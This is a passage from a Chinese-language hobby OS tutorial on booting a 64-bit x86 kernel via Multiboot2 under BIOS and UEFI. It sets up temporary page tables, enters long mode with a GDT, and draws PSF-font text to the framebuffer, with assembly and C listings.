&lt;li&gt;&lt;code&gt;cs&lt;&#x2F;code&gt;：权限为 &lt;code&gt;读|执行&lt;&#x2F;code&gt;，偏移为 &lt;code&gt;0&lt;&#x2F;code&gt;，界限为 &lt;code&gt;0xFFFFFFFF&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;ds、es、fs、gs、ss&lt;&#x2F;code&gt;：权限为 &lt;code&gt;读|写&lt;&#x2F;code&gt;，偏移为 &lt;code&gt;0&lt;&#x2F;code&gt;，界限为 &lt;code&gt;0xFFFFFFFF&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;A20 gate&lt;&#x2F;code&gt;：已开启&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;cr0&lt;&#x2F;code&gt;：分页（PG）关闭，保护模式（PE）开启&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;eflags&lt;&#x2F;code&gt;：VM、IF 两个位清空&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;剩下的工作都需要我们的内核自行完成，包括段描述符表的设置、堆栈、中断描述符表的设置等&lt;&#x2F;p&gt;
&lt;h3 id=&quot;uefi-qi-dong&quot;&gt;&lt;strong&gt;② UEFI 启动&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;当我们使用 UEFI 启动遵循 Multiboot2 规范的 32 位内核时，在进入内核时机器应当有如下&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;grub&#x2F;manual&#x2F;multiboot2&#x2F;multiboot.html%23Machine-state&quot;&gt;状态&lt;&#x2F;a&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;eax&lt;&#x2F;code&gt;：必定为 Magic Number &lt;code&gt;0x36d76289&lt;&#x2F;code&gt;，该值的存在表明其为符合 multiboot2 标准的引导程序加载的&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;ebx&lt;&#x2F;code&gt;：必定为引导加载程序提供的 Multiboot2 信息结构的 32 位物理地址&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;根据 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;uefi.org&#x2F;sites&#x2F;default&#x2F;files&#x2F;resources&#x2F;UEFI%2520Spec%25202_6.pdf&quot;&gt;UEFI 规范 v2.6&lt;&#x2F;a&gt; 第 2.3.2 节，此时机器有如下状态：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;单处理器模式（Uniprocessor，仅有一个核心被唤醒，参见 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;www.intel.com&#x2F;content&#x2F;www&#x2F;us&#x2F;en&#x2F;developer&#x2F;articles&#x2F;technical&#x2F;intel-sdm.html&quot;&gt;Intel SDM&lt;&#x2F;a&gt; 卷 3）&lt;&#x2F;li&gt;
&lt;li&gt;处在保护模式下&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;可能&lt;&#x2F;strong&gt;开启了分页，若是，则 UEFI 内存映射定义的任何内存空间都是恒等映射的（虚拟地址等于物理地址），对其他区域的映射是未定义的，可能因实现而异&lt;&#x2F;li&gt;
&lt;li&gt;选择子（selector）设为“平坦模式”（flat model）或未使用&lt;&#x2F;li&gt;
&lt;li&gt;中断开启，不过仅支持 UEFI 引导服务计时器（所有加载的设备驱动都通过“轮询”进行同步服务）&lt;&#x2F;li&gt;
&lt;li&gt;EFLAGS 中的方向标志位被清除&lt;&#x2F;li&gt;
&lt;li&gt;其他通用标志寄存器未定义&lt;&#x2F;li&gt;
&lt;li&gt;128 KB 或更多的可用栈空间&lt;&#x2F;li&gt;
&lt;li&gt;栈为 16 字节对齐，可能在页表中被标记为不可执行&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;floating-point control word&lt;&#x2F;code&gt; 被初始化为 &lt;code&gt;0x027F&lt;&#x2F;code&gt;（all exceptions masked, double-extended-precision, round-to-nearest）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;Multimedia-extensions control word&lt;&#x2F;code&gt; 被初始化为 &lt;code&gt;0x1F80&lt;&#x2F;code&gt; (all exceptions masked, roundto-nearest, flush to zero for masked underflow)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;CR0.EM == 0&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;CR0.TS == 0&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;chu-shi-hua-zhan-yu-lin-shi-ye-biao&quot;&gt;&lt;strong&gt;③ 初始化栈与临时页表&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;我们不难看出 BIOS 启动与 UEFI 启动后的机器状态在 32 位下差别并不大，大家都在保护模式下，只是 UEFI 启动&lt;strong&gt;可能&lt;&#x2F;strong&gt;会额外多一个栈和页表的配置，不过我们完全可以 &lt;em&gt;抛弃 UEFI 帮我们预设好的页表与栈，自己从头开始初始化一个&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;首先是页表的初始化，由于现在尚未完成内存管理器的构建，因此笔者选择仅构建一个临时的页表，待到进入 64 位长模式完成内存探测与内存分配器的建立之后再重新建立一个正式的新页表，64 位模式下所用的通常是四级页表，虚拟地址有效长度为 48 位，在控制寄存器组（control registers）中的 CR3 寄存器中存放顶层页表的地址：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os64-1-boot&#x2F;cr3-four-level-page-table.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;页表所使用的模式由 CR4 寄存器决定，具体可以参见 Intel SDM 的 3102 页 4.1.1 Four Paging Modes&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;不过启动阶段若是我们的临时页表也采用 4 级页表的结构的话，或许会需要占用过多的内存空间来保证对所有内存的映射，因为这个页表只是在内存管理器建立起来之前临时一用，因此这里我们使用 &lt;strong&gt;1GB 的大页&lt;&#x2F;strong&gt;，这样只需要两张页面组成的二级页表便能撑起我们初期所需的所有的内存空间，&lt;strong&gt;待到完成最基本的内存管理器的初始化之后再重新进行页表的动态初始化&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os64-1-boot&#x2F;x86-1gb-hugepage-pae-setup.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;1 GB 大页的开启需要我们进入 64 位，并在页表项中设置 &lt;code&gt;PS&lt;&#x2F;code&gt; 位，此外，进入 64 位模式要求我们启用&lt;strong&gt;物理地址扩展&lt;&#x2F;strong&gt;（Physical Address Extension），这项特性将页表项从 4 字节扩展为 8 字节，我们需要在进入 64 位之前通过设置 CR4 寄存器的 PAE 位来启用该特性，并在提前在预先准备好的二级页表中设置 &lt;code&gt;PS&lt;&#x2F;code&gt; 位&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;nasm&quot; class=&quot;language-nasm &quot;&gt;&lt;code class=&quot;language-nasm&quot; data-lang=&quot;nasm&quot;&gt;.section .boot.loader.text32:
    .code32
    .align 0x1000
    .extern boot_main

    .globl _start

    _start:
        # turn off the interrupt temporarily,
        # and we should turn it on after our own IDT has been built.
        cli

        # check for multiboot2 header
        cmp $MULTIBOOT2_BOOTLOADER_MAGIC, %eax
        jne .loop

        # temporary stack
        mov     $boot_stack_top, %esp

        # set the boot information as parameters for boot_main()
        mov     %eax, %edi
        mov     %ebx, %esi

        # clear eflags
        pushl   $0
        popf

        # disable paging (UEFI may turn it on)
        mov     %cr0, %eax
        mov     $CR0_PG, %ebx
        not     %ebx
        and     %ebx, %eax
        mov     %eax, %cr0

        # set up page table for booting stage
        # it&amp;#x27;s okay to write only 32bit here :)
        mov     $boot_pud, %eax
        or      $(PAGE_ATTR_P | PAGE_ATTR_RW), %eax
        mov     %eax, boot_pgd

        xor     %eax, %eax
        or      $(PAGE_ATTR_P | PAGE_ATTR_RW | PAGE_ATTR_PS), %eax
        movl    %eax, boot_pud

        xor     %eax, %eax
        mov     %eax, (boot_pgd + 4)
        mov     %eax, (boot_pud + 4)

        # load page table
        mov     $boot_pgd, %eax
        mov     %eax, %cr3

#......

.section .boot.loader.data
    .align 0x1000

    .globl boot_stack, boot_stack_top

    #
    # When the system is booted under legacy BIOS, there&amp;#x27;s no stack
    # So we reserve a page there as a temporary stack for booting
    #
    boot_stack:
        .space 0x1000
    boot_stack_top:

    boot_pgd:
        .space 0x1000
    boot_pud:
        .space 0x1000
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;jin-ru-64-wei-mo-shi&quot;&gt;&lt;strong&gt;④ 进入 64 位模式&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;64 位运行模式（Intel 称为 &lt;code&gt;IA-32e mode&lt;&#x2F;code&gt;，AMD 称为 &lt;code&gt;long mode&lt;&#x2F;code&gt;）是进入 64 位时代后 x64 处理器引入的&lt;strong&gt;新的运行模式&lt;&#x2F;strong&gt;，其有着两个子模式：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;兼容模式（Compatibility mode）：传统的 16&#x2F;32 位应用程序仍能正常运行，类似于 32 位保护模式，其使用 16&#x2F;32 位地址与操作数，仅能访问线性地址空间的前 4 GB，通过 PAE 可以访问更多的物理内存&lt;&#x2F;li&gt;
&lt;li&gt;纯 64 位模式（64-bit mode）：该模式下可以访问 64 位线性地址空间， &lt;em&gt;通常&lt;&#x2F;em&gt; 不再使用分段，通用寄存器与 SIMD 扩展寄存器从 8 个扩展至 16 个，通用寄存器扩展至 64 位，默认地址大小为 64 位，默认操作数大小为 32 位，新增的 opcode 前缀 &lt;code&gt;REX&lt;&#x2F;code&gt; 用以进行 64 位下的扩展访问&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os64-1-boot&#x2F;long-mode-memory-management.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;参见 Intel SDM 卷 1 Chapter 3、卷 3A Chapter 2 与 AMD64 PM 卷 1 Chapter 2、卷 2 Chapter 1&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;简而言之就是进入 64 位模式之后正常运行 64 位应用就在纯 64 位模式，但也可以通过兼容模式来像 32 位保护模式那样运行以前的 32 位应用，这两种子模式间的切换&lt;strong&gt;通过 CS 段选择子对应的段描述符的 L 位决定&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os64-1-boot&#x2F;long-mode-submode-switch.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;我们的 64 位操作系统自然是运行在纯 64 位这一子模式下的，而 GRUB 引导进入我们的内核时我们仍处于 32 位模式下，因此我们需要编写 32 位汇编来将处理器切换到 64 位模式，具体需要进行如下工作：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;将 &lt;strong&gt;Model Specific Register&lt;&#x2F;strong&gt; 这一寄存器组中的&lt;strong&gt;Extended Feature Enable Register&lt;&#x2F;strong&gt; 寄存器的 LME 位置为 1（参见 Intel SDM 卷 3 A Chapter 2 的 2.2.1 节，Table 2-1）&lt;&#x2F;li&gt;
&lt;li&gt;配置好相应的全局段描述符表，并将 CS 段选择子对应的段描述符的 L 位置为 1&lt;&#x2F;li&gt;
&lt;li&gt;开启控制寄存器组中 CR4 寄存器的 &lt;strong&gt;物理地址扩展&lt;&#x2F;strong&gt;（Physical Address Extension）&lt;&#x2F;li&gt;
&lt;li&gt;开启控制寄存器组中 CR0 寄存器的 &lt;strong&gt;分页&lt;&#x2F;strong&gt;（Paging），这要求我们预先装载一份页表&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;nasm&quot; class=&quot;language-nasm &quot;&gt;&lt;code class=&quot;language-nasm&quot; data-lang=&quot;nasm&quot;&gt;        # enable PAE and PGE
        mov     %cr4, %eax
        or      $(CR4_PAE | CR4_PGE), %eax
        mov     %eax, %cr4

        # enter long mode by enabling EFER.LME
        mov     $0xC0000080, %ecx
        rdmsr
        or      $(1 &amp;lt;&amp;lt; 8), %eax
        wrmsr

        # enable paging
        mov     %cr0, %eax
        or      $CR0_PG, %eax
        mov     %eax, %cr0

        # set up GDT
        mov     $gdt64_ptr, %eax
        lgdt    0(%eax)

#......

.section .boot.loader.data
    #......

    # global segment descriptor table
    .align 0x1000   # it should be aligned to page
    .globl gdt64, gdt64_ptr
    gdt64:
        .quad 0 # first one must be zero
    gdt64_code_segment:
        .quad 0x00209A0000000000 # exec&amp;#x2F;read
    gdt64_data_segment:
        .quad 0x0000920000000000 # read&amp;#x2F;write
    gdt64_ptr:
        .short gdt64_ptr - gdt64 - 1    # GDT limit
        .long gdt64                     # GDT Addr
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;此时我们便来到了 64 位&lt;strong&gt;兼容模式&lt;&#x2F;strong&gt;，而要进入纯 64 位模式，则需要我们&lt;strong&gt;手动更新 CS 段选择子&lt;&#x2F;strong&gt;，这里笔者通过一个远跳转 &lt;code&gt;jmp&lt;&#x2F;code&gt; 指令&lt;strong&gt;手动指定段选择子的方式来刷新 CS 段选择子&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;以及别忘了刷新数据段选择子和其他段选择子，这些选择子可以直接通过寄存器进行重新赋值，&lt;strong&gt;但是 CS 段选择子必须通过指令进行刷新&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre data-lang=&quot;nasm&quot; class=&quot;language-nasm &quot;&gt;&lt;code class=&quot;language-nasm&quot; data-lang=&quot;nasm&quot;&gt;        # reload all the segment registers
        mov $(2 &amp;lt;&amp;lt; SELECTOR_INDEX), %ax
        mov     %ax, %ds
        mov     %ax, %ss
        mov     %ax, %es
        mov     %ax, %fs
        mov     %ax, %gs

        # enter the 64-bit world within a long jmp
        jmp $(1 &amp;lt;&amp;lt; SELECTOR_INDEX), $boot_main

        # we shouldn&amp;#x27;t get here...
    .loop:
        hlt
        jmp .loop
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;除了通过 &lt;code&gt;jmp 选择子:目标地址&lt;&#x2F;code&gt; 的方式以外，我们也可以通过 &lt;code&gt;lretq&lt;&#x2F;code&gt; 指令刷新 CS 段选择子&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;从 &lt;code&gt;boot_main()&lt;&#x2F;code&gt; 开始我们就可以进入 C 语言的世界了：）&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Extra. 分段内存简介&lt;&#x2F;strong&gt;
在古老的 16 位与 32 位运行模式下，x86 有一种管理内存的办法叫做&lt;strong&gt;分段&lt;&#x2F;strong&gt;（Segment），一个段便是一段连续内存，相应地有 cs、ds 等段寄存器用来指示不同用途的段，经过分段映射的地址称为逻辑地址（logical address）
16 位下段寄存器中直接存放段基址与段界限信息，32 位下段描述符扩展为 8 字节，存放在内存中一个名为段描述符表的结构中，GDTR 寄存器用来存放全局段描述符表的地址，相应地段寄存器中存放的变为段选择子（segment selector），指示了该段寄存器对应的段在段描述符表中的索引、权限等信息&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os64-1-boot&#x2F;x86-segmentation-gdt.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;不过分段内存模式过于鸡肋，现代操作系统通常会选择把所有段都初始化为整个内存，因此 CPU 厂商更改了设计，在 64 位下默认不使用分段特性，不过 &lt;em&gt;也不是完全弃用分段这一特性&lt;&#x2F;em&gt; （尾大不掉属于是）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;boot-tty-c-du-xie-frame-buffer-jin-xing-wen-zi-shu-chu&quot;&gt;&lt;strong&gt;boot_tty.c：读写 frame buffer 进行文字输出&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;熟悉各类操作系统开发教程的小伙伴肯定知道非常经典的读写 &lt;code&gt;0xB8000&lt;&#x2F;code&gt; 这块内存便能在屏幕上进行字体输出， &lt;strong&gt;但是在 UEFI 启动下这个方法已经不在可用&lt;&#x2F;strong&gt; ，那么我们该怎么进行字体输出呢？最简单的办法自然是——&lt;strong&gt;把像素点直接画在屏幕上&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;frame-buffer&quot;&gt;&lt;strong&gt;① Frame Buffer&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;帧缓冲区&lt;&#x2F;strong&gt; （&lt;strong&gt;frame buffer&lt;&#x2F;strong&gt; ）为内存&#x2F;显存中的一块自定义区域，可以简单理解为屏幕上所显示内容的缓存，显卡会定期从这块区域搬运数据到显示设备上，因此我们可以通过读写 frame buffer 的方式来在显示器的指定位置显示指定的像素点&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os64-1-boot&#x2F;frame-buffer-pixel-display.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;有了 Multiboot2 规范，我们可以指示 GRUB2 帮我们准备 Frame buffer 的相关信息并传递给我们的内核，接下来我们便能通过直接读写 frame buffer 对应内存的方式来直接在屏幕上进行显示：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&amp;#x2F;* frame buffer info *&amp;#x2F;
static uint32_t *framebuffer_base; &amp;#x2F;* 32 bit color *&amp;#x2F;
static uint32_t framebuffer_width;
static uint32_t framebuffer_height;

void boot_clear_screen(void)
{
    for (uint32_t y = 0; y &amp;lt; framebuffer_height; y++) {
        for (uint32_t x = 0; x &amp;lt; framebuffer_width; x++) {
            framebuffer_base[y * framebuffer_width + x] = 0;
        }
    }
}

int boot_get_frame_buffer(multiboot_uint8_t *mbi)
{
    struct multiboot_tag_framebuffer *fb_info = NULL;
    struct multiboot_tag *tag = (struct multiboot_tag *) (mbi + 8);

    &amp;#x2F;* find framebuffer tag *&amp;#x2F;
    if (tag == NULL) {
        return -1;
    }

    while (tag-&amp;gt;type != MULTIBOOT_TAG_TYPE_END) {
        if (tag-&amp;gt;type == MULTIBOOT_TAG_TYPE_FRAMEBUFFER) {
            fb_info = (struct multiboot_tag_framebuffer*) tag;
            break;
        }

        tag = (struct multiboot_tag *) \
              ((multiboot_uint8_t *) tag + ((tag-&amp;gt;size + 7) &amp;amp; ~7));
    }

    if (fb_info == NULL) {
        return -1;
    }

    framebuffer_base = (uint32_t*) fb_info-&amp;gt;common.framebuffer_addr;
    framebuffer_height = fb_info-&amp;gt;common.framebuffer_height;
    framebuffer_width = fb_info-&amp;gt;common.framebuffer_width;

    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;zi-ti-jie-xi-hui-zhi&quot;&gt;&lt;strong&gt;② 字体解析绘制&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;虽然我们现在可以通过直接操作 Frame buffer 来绘制图形，但是每个字体都要从零开始绘制的话未免就太麻烦了一点，因此我们选择载入现有的 &lt;strong&gt;PC Screen Font&lt;&#x2F;strong&gt; 格式的字体文件，从中读取相应的字体信息进行绘制&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;这里字体笔者选择了 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;talamus&#x2F;solarize-12x29-psf&#x2F;&quot;&gt;solarize-12x29&lt;&#x2F;a&gt;，clone 到本地后将 &lt;code&gt;Solarize.12x29.psf&lt;&#x2F;code&gt; 拷贝为 &lt;code&gt;arch&#x2F;x86&#x2F;boot&#x2F;font.psf&lt;&#x2F;code&gt; 即可，后面可能也会换更漂亮的开源字体，这里只是临时用用&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;由于我们还没建立文件系统，因此我们需要将字体文件直接链接到内核当中，这里可以使用 &lt;code&gt;objcopy&lt;&#x2F;code&gt; 这一工具来将字体文件转换为可链接文件：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;需要注意的是，&lt;strong&gt;objcopy 会非常 sb 地把路径名也放进去&lt;&#x2F;strong&gt;，因此比较可行的解决方案就是&lt;strong&gt;提前将字体文件转换为 .o 文件&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;$ objcopy -O elf64-x86-64 -B i386 -I binary font.psf boot_font.o
$ objdump -t boot_font.o

boot_font.o:     file format elf64-x86-64

SYMBOL TABLE:
0000000000000000 g       .data  0000000000000000 _binary_font_psf_start
0000000000007420 g       .data  0000000000000000 _binary_font_psf_end
0000000000007420 g       *ABS*  0000000000000000 _binary_font_psf_size
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;现在我们来看如何解析这一格式的字体，PSF 有两版规范，由一个 header 来指示字体基本信息， header 之后便是字体的位图信息：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;#define PSF1_FONT_MAGIC 0x0436

struct psf1_header {
    uint16_t magic;     &amp;#x2F;* magic number for identification *&amp;#x2F;
    uint8_t font_mode;  &amp;#x2F;* PSF font mode *&amp;#x2F;
    uint8_t char_size;  &amp;#x2F;* PSF char size *&amp;#x2F;
};

#define PSF2_FONT_MAGIC 0x864ab572

struct psf2_header {
    uint32_t magic;             &amp;#x2F;* magic number for PSF *&amp;#x2F;
    uint32_t version;           &amp;#x2F;* zero *&amp;#x2F;
    uint32_t header_size;       &amp;#x2F;* offset of bitmaps in file, 32 *&amp;#x2F;
    uint32_t flags;             &amp;#x2F;* 0 if there&amp;#x27;s no unicode table *&amp;#x2F;
    uint32_t glyph_nr;          &amp;#x2F;* number of glyphs *&amp;#x2F;
    uint32_t bytes_per_glyph;   &amp;#x2F;* size of each glyph *&amp;#x2F;
    uint32_t height;            &amp;#x2F;* height in pixels *&amp;#x2F;
    uint32_t width;             &amp;#x2F;* width in pixels *&amp;#x2F;
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;字体位图有着其固定的宽度与高度，虽然字体的宽度并不一定对齐到 8 bit，但是存储空间需要对齐到 8 bit 也就是 1 字节，因此&lt;strong&gt;位图数据中会有空数据填充段&lt;&#x2F;strong&gt;，以一个 12x12 的 PSF 位图为示例：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;           padding
 Font data    |
+----------+ +--+
000001100000 0000
000011110000 0000
000110011000 0000
001100001100 0000
011000000110 0000
110000000011 0000
111111111111 0000
111111111111 0000
110000000011 0000
110000000011 0000
110000000011 0000
110000000011 0000
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;由此我们可以通过如下代码来解析字体文件并在屏幕上显示文字（二代规范）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;extern char _binary_font_psf_start[];
extern char _binary_font_psf_end[];

&amp;#x2F;* char output info *&amp;#x2F;

static uint32_t fb_cursor_x, fb_cursor_y;    &amp;#x2F;* count by chars *&amp;#x2F;
static uint32_t max_ch_nr_x, max_ch_nr_y;

&amp;#x2F;* font info *&amp;#x2F;

static struct psf2_header *boot_font;
static uint32_t font_width, font_height;
static uint32_t font_width_bytes;
static uint8_t *glyph_table;
static uint32_t bytes_per_glyph, glyph_nr;

static void boot_putchar_fb_new_line(uint32_t bg)
{
    fb_cursor_x = 0;
    fb_cursor_y++;

    &amp;#x2F;* we may need to scroll up *&amp;#x2F;
    if (fb_cursor_y &amp;gt;= max_ch_nr_y) {
        for (uint32_t y = 0; y &amp;lt; ((max_ch_nr_y - 1) * font_height); y++) {
            for (uint32_t x = 0; x &amp;lt; framebuffer_width; x++) {
                framebuffer_base[x + y * framebuffer_width] =
                framebuffer_base[x + (y + font_height) * framebuffer_width];
            }
        }

        for (uint32_t y = 0; y &amp;lt; font_height; y++) {
            for (uint32_t x = 0; x &amp;lt; framebuffer_width; x++) {
                size_t lines = (y + (max_ch_nr_y - 1) * font_height);
                size_t loc = lines * framebuffer_width + x;
                framebuffer_base[loc] = bg;
            }
        }

        fb_cursor_y--;
    }
}

static void boot_putchar_fb(uint16_t ch, uint32_t fg, uint32_t bg)
{
    uint8_t *glyph = glyph_table;
    size_t loc;

    &amp;#x2F;* if char out of range, output null *&amp;#x2F;
    if (ch &amp;lt; glyph_nr) {
        glyph += ch * bytes_per_glyph;
    }

    loc =  fb_cursor_y * font_height * framebuffer_width;
    loc += fb_cursor_x * font_width;

    &amp;#x2F;* output the font to frame buffer *&amp;#x2F;
    for (uint32_t ch_y = 0; ch_y &amp;lt; font_height; ch_y++) {
        uint8_t mask = 1 &amp;lt;&amp;lt; 7;

        for (uint32_t ch_x = 0; ch_x &amp;lt; font_width; ch_x++) {
            if ((*(glyph + ch_x &amp;#x2F; 8) &amp;amp; mask) != 0) {
                framebuffer_base[loc + ch_y * framebuffer_width + ch_x] = fg;
            } else {
                framebuffer_base[loc + ch_y * framebuffer_width + ch_x] = bg;
            }

            mask &amp;gt;&amp;gt;= 1;
            if (ch_x % 8 == 0) {
                mask = 1 &amp;lt;&amp;lt; 7;
            }
        }

        glyph += font_width_bytes;
    }

    &amp;#x2F;* move cursor *&amp;#x2F;
    fb_cursor_x++;

    &amp;#x2F;* we may need to move to new line *&amp;#x2F;
    if (fb_cursor_x &amp;gt;= max_ch_nr_x) {
        boot_putchar_fb_new_line(bg);
    }
}

static void boot_init_font(void)
{
    boot_font = (struct psf2_header*) _binary_font_psf_start;

    font_width_bytes = (boot_font-&amp;gt;width + 7) &amp;#x2F; 8;
    font_width = font_width_bytes * 8;
    font_height = boot_font-&amp;gt;height;

    glyph_table = (uint8_t*)_binary_font_psf_start+boot_font-&amp;gt;header_size;
    glyph_nr = boot_font-&amp;gt;glyph_nr;
    bytes_per_glyph = boot_font-&amp;gt;bytes_per_glyph;

    fb_cursor_x = fb_cursor_y = 0;
    max_ch_nr_x = framebuffer_width &amp;#x2F; font_width;
    max_ch_nr_y = framebuffer_height &amp;#x2F; font_height;
}

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;extra-chuan-kou-shu-chu-chu-tan&quot;&gt;&lt;em&gt;&lt;strong&gt;Extra： 串口输出初探&lt;&#x2F;strong&gt;&lt;&#x2F;em&gt;&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;注，因为我们目前处在 boot 部分，因此笔者仅会实现一个最简陋的串口输出代码，在后续的 real kernel 部分的代码中我们会重新实现一个更加完备的串口驱动&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;串口输出是以前老 IBM 机喜欢用的方法，包括 Linux kernel 也支持串口输出功能（当你使用 qemu 运行时若添加了 &lt;code&gt;-nographic&lt;&#x2F;code&gt; 参数 QEMU 会将虚拟机的串口 0 的输出重定向到当前终端，也可以直接在 qemu 的图形界面切换到 &lt;code&gt;serial 0&lt;&#x2F;code&gt;），目前这个输出方式已经很少被使用了， 毕竟都什么年代了还在抽传统香烟？ 不过在一些特殊场景这个方法还是偶尔会被用到的（例如 headless console），因此这一节我们简单讲讲如何通过串口进行字符输出&lt;&#x2F;p&gt;
